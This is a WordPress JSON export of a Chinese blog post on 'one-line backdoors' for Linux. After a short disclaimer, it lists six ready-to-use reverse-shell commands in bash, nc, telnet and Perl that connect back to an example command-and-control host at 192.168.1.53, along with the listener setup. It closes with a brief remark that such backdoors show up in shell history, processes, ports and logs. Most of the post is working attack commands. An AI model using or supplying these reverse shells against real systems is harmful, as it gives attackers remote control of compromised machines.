{"id":1217,"date":"2024-09-11T16:34:25","date_gmt":"2024-09-11T08:34:25","guid":{"rendered":"https:\/\/www.madbull.site\/?p=1217"},"modified":"2024-09-27T15:05:00","modified_gmt":"2024-09-27T07:05:00","slug":"linux%e7%8e%af%e5%a2%83%e4%b8%80%e5%8f%a5%e8%af%9d%e6%9c%a8%e9%a9%ac","status":"publish","type":"post","link":"https:\/\/www.madbull.site\/?p=1217","title":{"rendered":"linux\u73af\u5883\u4e00\u53e5\u8bdd\u540e\u95e8"},"content":{"rendered":"\n

\u6ce8\u610f\uff1a<\/strong><\/mark>\u672c\u6587\u7ae0\u53ea\u505a\u7f51\u7edc\u5b89\u5168\u6280\u672f\u4ea4\u6d41\u4f7f\u7528\uff0c\u5207\u83ab\u7528\u6765\u505a\u574f\u4e8b\u3002<\/p>\n\n\n\n

<\/div>\n\n\n\n

\u4e5f\u53ef\u4ee5\u53eb\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u4e00\u4e2a\u610f\u601d\u3002<\/p>\n\n\n\n

<\/div>\n\n\n\n

\u8bbe\u7f6e\u76d1\u542c<\/strong><\/p>\n\n\n\n

<\/div>\n\n\n\n

\u56de\u8fde\u7aef\u53e3\u53ef\u4ee5\u7528 ncat \u5de5\u5177\u3002\u6b64\u5904\u7528 192.168.1.53 \u4f5c\u4e3aCC\u670d\u52a1\u7aef\u7684\u793a\u4f8b\uff0c\u8fd9\u4e9b\u540e\u95e8\u56de\u8fde\u5230\u6b64\u670d\u52a1\u5668\u3002<\/p>\n\n\n\n

<\/div>\n\n\n\n

\u4f8b\u5982\uff0c\u5728CC\u670d\u52a1\u5668\u4e0a\u8fd0\u884c\uff1anc -lvnp 5555<\/code> \u5219\u76d1\u542c5555\u7aef\u53e3\uff0c\u4f5c\u4e3a\u540e\u95e8\u7684\u56de\u8fde\u7aef\u53e3\u3002<\/p>\n\n\n\n

<\/div>\n\n\n\n

\u7b2c\u4e00\u79cd\u65b9\u6cd5\uff1a<\/strong><\/p>\n\n\n\n

<\/div>\n\n\n\n

bash -i >&\/dev\/tcp\/192.168.1.53\/5555 0>&1<\/code><\/p>\n\n\n\n

<\/div>\n\n\n\n

\u7b2c\u4e8c\u79cd\u65b9\u6cd5\uff1a<\/strong><\/p>\n\n\n\n

<\/div>\n\n\n\n

nc -e \/bin\/bash 192.168.1.53 5555<\/code><\/p>\n\n\n\n

<\/div>\n\n\n\n

\u7b2c\u4e09\u79cd\u65b9\u6cd5\uff1a<\/strong><\/p>\n\n\n\n

<\/div>\n\n\n\n

exec 5<>\/dev\/tcp\/192.168.1.53\/5555 ; cat <&5 | while read line ; do $line 2>&5 >&5 ; done<\/code><\/p>\n\n\n\n

<\/div>\n\n\n\n

\u7b2c\u56db\u79cd\u65b9\u6cd5\uff1a<\/strong><\/p>\n\n\n\n

<\/div>\n\n\n\n

telnet 192.168.1.53 5555 | \/bin\/bash | telnet 192.168.1.53 6666 <\/code><\/p>\n\n\n\n

5555\u7aef\u53e3\u8f93\u5165\uff0c6666\u7aef\u53e3\u8f93\u51fa\u3002\u6b64\u5904\u9700\u8981 ncat \u5728CC\u670d\u52a1\u5668\u76d1\u542c\u4e24\u4e2a\u7aef\u53e3<\/p>\n\n\n\n

<\/div>\n\n\n\n

\u7b2c\u4e94\u79cd\u65b9\u6cd5\uff1a<\/strong><\/p>\n\n\n\n

<\/div>\n\n\n\n

perl -e 'use Socket;$i=\"192.168.1.53\";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"\/bin\/bash -i\");};'<\/code><\/p>\n\n\n\n

<\/div>\n\n\n\n

\u7b2c\u516d\u79cd\u65b9\u6cd5\uff1a<\/strong><\/p>\n\n\n\n

<\/div>\n\n\n\n

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"192.168.1.53:5555\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'<\/code><\/p>\n\n\n\n

<\/div>\n\n\n\n
\n\n\n\n
<\/div>\n\n\n\n

\u8fd8\u6709\u522b\u7684\u65b9\u6cd5\uff0c\u53ef\u4ee5\u81ea\u5df1\u63a2\u7d22\u3002\u867d\u7136\u65b9\u6cd5\u6bd4\u8f83\u591a\uff0c\u4f46\u662f\u57fa\u672c\u539f\u7406\u90fd\u4e00\u6837\u3002\u5728 \u8089\u9e21 \u4e0a\u56de\u8fde\u5230 CC \u670d\u52a1\u5668\uff0c\u628a\u8f93\u5165\u8f93\u51fa\u91cd\u5b9a\u5411\u5230 \u56de\u8fdeCC\u670d\u52a1\u5668\u7684tcp\u8fde\u63a5\u4e2d\uff1bCC \u53d1\u9001\u7684\u6570\u636e\uff0c\u7528shell\uff08bash\u3001dash\u7b49\uff09\u811a\u672c\u6267\u884c\u540e\uff0c\u628a\u6307\u4ee4\u7ed3\u679c\u8fd4\u56de\u7ed9 CC \u670d\u52a1\u5668\u3002\u8fd9\u6837\u4e00\u4e2a\u7b80\u5355\u7684\u540e\u95e8\u5c31\u6210\u4e86\u3002<\/p>\n\n\n\n

<\/div>\n\n\n\n

\u8fd9\u79cd\u540e\u95e8\u8fd8\u662f\u6bd4\u8f83\u597d\u68c0\u6d4b\u7684\uff0c\u81ea\u5df1\u8fd0\u884c\u4e00\u4e0b\uff0c\u4ece\u64cd\u4f5c\u5386\u53f2\u8bb0\u5f55\u3001\u8fdb\u7a0b\u3001\u7aef\u53e3\u8fde\u63a5\u3001\u7cfb\u7edf\u65e5\u5fd7\u4e2d\u627e\u4e00\u4e9b\u7279\u5f81\u5c31\u53ef\u4ee5\u8bc6\u522b\u5230\u6b64\u540e\u95e8\u3002\u5feb\u68c0\u67e5\u4e00\u4e0b\u81ea\u5df1\u670d\u52a1\u5668\u4e0a\u6709\u6ca1\u6709\u8fd9\u4e9b\u540e\u95e8\u5427\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

\u6ce8\u610f\uff1a\u672c\u6587\u7ae0\u53ea\u505a\u7f51\u7edc\u5b89\u5168\u6280\u672f\u4ea4\u6d41\u4f7f\u7528\uff0c\u5207\u83ab\u7528\u6765\u505a\u574f\u4e8b\u3002<\/p>\n

\u8bbe\u7f6e\u76d1\u542c<\/p>\n

\u56de\u8fde\u7aef\u53e3\u53ef\u4ee5\u7528 ncat \u5de5\u5177\u3002\u6b64\u5904\u7528 192.168.1.53 \u4f5c\u4e3aCC\u670d\u52a1\u7aef\u7684\u793a\u4f8b\u3002\u4e00\u53e5\u8bdd\u6728\u9a6c\u56de\u8fde\u5230 \u6b64\u670d\u52a1\u5668\u3002<\/p>\n

\u4f8b\u5982\uff0c\u5728CC\u670d\u52a1\u5668\u4e0a\u8fd0\u884c\uff1anc -lvnp 5555 \u5219\u76d1\u542c5555\u7aef\u53e3\uff0c\u4f5c\u4e3a\u6728\u9a6c\u7684\u56de\u8fde\u7aef\u53e3\u3002<\/p>\n","protected":false},"author":1,"featured_media":1025,"comment_status":"open","ping_status":"open","sticky":false,"template":"single-with-sidebar","format":"standard","meta":{"footnotes":""},"categories":[135,131,419],"tags":[400,450,237,451,224,142,452,446,447,449,448],"class_list":["post-1217","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-linux","category-131","category-419","tag-bash","tag-exec","tag-linux","tag-nc","tag-perl","tag-python","tag-telnet","tag-446","tag-447","tag-449","tag-448"],"_links":{"self":[{"href":"https:\/\/www.madbull.site\/index.php?rest_route=\/wp\/v2\/posts\/1217","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.madbull.site\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.madbull.site\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.madbull.site\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.madbull.site\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1217"}],"version-history":[{"count":6,"href":"https:\/\/www.madbull.site\/index.php?rest_route=\/wp\/v2\/posts\/1217\/revisions"}],"predecessor-version":[{"id":1441,"href":"https:\/\/www.madbull.site\/index.php?rest_route=\/wp\/v2\/posts\/1217\/revisions\/1441"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.madbull.site\/index.php?rest_route=\/wp\/v2\/media\/1025"}],"wp:attachment":[{"href":"https:\/\/www.madbull.site\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1217"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.madbull.site\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1217"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.madbull.site\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1217"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}